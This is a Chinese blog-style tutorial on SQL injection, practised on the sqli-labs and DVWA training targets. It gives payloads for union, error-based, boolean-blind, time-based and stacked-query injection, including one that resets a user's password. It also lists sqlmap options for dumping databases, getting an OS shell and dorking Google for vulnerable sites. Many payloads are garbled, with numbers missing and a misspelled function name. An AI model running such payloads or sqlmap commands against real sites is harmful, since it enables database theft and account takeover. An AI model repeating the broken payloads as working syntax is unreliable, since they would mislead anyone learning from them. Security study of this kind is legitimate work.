常见web漏洞的整理之SQL注入
SQL注入:
- 简介:
- 全称Structured Query Language,即结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。也被作为关系式数据库管理系统的标准语言。
- 原理:
- 在用户可控的参数中,注入SQL语法,破坏原有的SQL语句,达成编程时意料之外结果的攻击行为,实现与数据库的非法交互。
- 分类:
- 从数据类型:
- 数字型:注入的数据,拼接到SQL语句中是以数字型数据存在,简单理解就是两边没有被单引号、双引号包括。
- 字符型:被各种符号包裹着。
- 如:
select * from news where id=1;
select * from news where id='1';
select * from news where id="1";
select * from news where id=('1');
- 从注入手法:
- 联合查询注入 UNION query SQL injection
- 报错注入 Error-based SQL injection
- 布尔注入 Boolean-based blind SQL injection
- 延时注入 Time-based blind SQL injection
- 堆叠查询 Stacked queries SQL injection
- 从数据类型:
- 注入点判断:
- 尝试闭合,输入单引号或双引号等
- ?id=111-1/+1,若有返回数据,可以判断存在数字型,比较少见
- and 1 = 1/ 1=2
- ‘ or 1=1#
- 等等等等,其实注入点判断有很多种,毕竟现在都架起了各种waf,安全意识都增强了,这种漏洞也都被修复,或者被保护了。
以下测试环境为sqllab和dvwa靶场
联合查询:
- 判断当前表中的字段(列)个数 ' order by 3--+
- 查看显示位:
' union select 1,2,3--+
- 查看数据库名
union select ,,database()--+
- 查看表名
union select ,,(select group_concat(TABLE_NAME) from information_schema.TABLES(mysql内建库) where TABLE_SCHEMA=0x7365637572697479(数据库名16进制转码))
- 查看字段
union select ,,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x7365637572697479(数据库名) and TABLE_NAME=0x7573657273(表名))--+
- 查看数据
union select ,,(select group_concat(concat(username, password)) from security.users)--+
报错注入:
当页面存在报错信息时
- 公式1
extractvalue(,concat('^',(查询的内容),'^'))
?id= and extractvalue(,concat(0x5e,(select database()),0x5e)) --+
- 公式2
updatexml(,concat('^',(查询的内容),'^'),)
?id= and updatexml(,concat(0x5e,(select versoin()),0x5e),) --+
?id= and updatexml(,concat(0x5e,(select concat(username,0x3a,password) from cms_users limit ,),0x5e),) --+
- 公式三
?id=1 and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
布尔盲注:
?id=33 and 1=1 / 1=2--+ 返回状态不同,说明存在布尔注入
- 判断查询内容的长度
?id= and length(database())>
?id= and length(database())= - 按位查询字符
?id= and ascii(substr((select database()),,)) =
?id= and ascii(substr(database(),,)) =
延时注入:
and sleep(5)--+ 查看返回的时间长度,但易受网络波动。
?id= and if(ascii(substr(current_user(),,)) =,sleep(),) --+
堆叠查询:
同时执行多条SQL语句,简单举例:将用户id=1的密码重置为123456
?id=-';update users set password='' where id=1; --+
SQLMAP的使用:
将以上及更多的注入手法集成到了sql自动化注入工具sqlmap中。对它的基本参数还是要熟悉的。
- -u 检测注入点
- --dbs 列出所有数据库的名字
- --current-db 当前数据库的名字
- -D 指定数据库
- --tables 列出说有表的名字
- -T 指定一张表
- --columns 列出所有字段的名字
- -C 指定字段
- --dump “脱库”
- -u "shownews.asp" --cookie "id=2" --level2 cookie 注入
- -u "url" --forms 自动检测表单
- -r post.txt 从文件读取http 请求
- --os-shell 获取shell
- sqlmap -g "inurl:php?id=" 利用google 自动搜索注入点
总结:
SQL注入原理很简单,利用起来方式很多;sqllab,dvwa这些简单的针对性靶场对sql注入的理解很有作用。起初黑客利用十分方便,但现在网站防护更严格了,就又产生了各种过滤。这里又要牵扯出很多知识。学无止境啊。
常见web漏洞的整理之SQL注入的更多相关文章
- Web攻防之XSS,CSRF,SQL注入
摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...
- Web攻防之XSS,CSRF,SQL注入(转)
摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...
- 十大常见web漏洞及防范
十大常见web漏洞 一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了 ...
- 绕过WAF进行常见Web漏洞利用
前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- 常见的 CSRF、XSS、sql注入、DDOS流量攻击
CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...
- web应用程序安全攻防---sql注入和xss跨站脚本攻击
kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...
- web攻击与防御技术--SQL注入
sql注入是WEB安全中比较重要而复杂的一个东西.而且危害性比较大. 一般来讲SQL注入的话首先要识别注入点.一个是看能不能注入另外一个是看是什么类型的注入比如说字符,数字,搜索(?)等等 GET.P ...
- web安全测试&渗透测试之sql注入~~
渗透测试概念: 详见百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsR ...
随机推荐
- 一文彻底读懂MySQL事务的四大隔离级别
前言 之前分析一个死锁问题,发现自己对数据库隔离级别理解还不够清楚,所以趁着这几天假期,整理一下MySQL事务的四大隔离级别相关知识,希望对大家有帮助~ 事务 什么是事务? 事务,由一个有限的数据库操 ...
- [HDU2546]饭卡<dp 01背包>
链接:http://acm.hdu.edu.cn/showproblem.php?pid=2546 #题目描述: 电子科大本部食堂的饭卡有一种很诡异的设计,即在购买之前判断余额.如果购买一个商品之前, ...
- Chart控件的使用
1.开启滚动条(ScaleView.Size除以Interval ,大概是中间出现纵线的数量,一般动ScaleView.Size) chart1.ChartAreas[0].CursorX.AutoS ...
- MQTT协议实现Android中的消息收发
前言 MQTT(Message Queuing Telemetry Transport,消息队列遥测传输),基于发布/订阅范式的消息协议,是一种极其简单和轻量级的消息协议,专为受限设备和低带宽.高延迟 ...
- Pytest系列(7) - skip、skipif跳过用例
如果你还想从头学起Pytest,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1690628.html 前言 pytest.mark.sk ...
- 浅谈动态规划(Dynamic Programming)
利用Leetcode#198打劫家舍 浅谈动态规划 Origin:https://leetcode-cn.com/problems/house-robber/ 题目本身不难,就是一个动态规划的问题.在 ...
- .net core 跨平台开发 微服务架构 基于Nginx反向代理 服务集群负载均衡
1.概述 反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客 ...
- 如何在 Array.forEach 中正确使用 Async
本文译自How to use async functions with Array.forEach in Javascript - Tamás Sallai. 0. 如何异步遍历元素 在第一篇文章中, ...
- python redis 实现简单的消息订阅
python + redis 实现简单的消息订阅 订阅端 import redis from functools import wraps class Subscribe: def __init__( ...
- flask-sqlalchemy的基本使用
flask-sqlalchemy 1 .配置应用和基本使用 和sqlalchemy一样,先定义好数据库配置和db_url.然后在app的config加入SQLALCHEMY_DATABASE_URI等 ...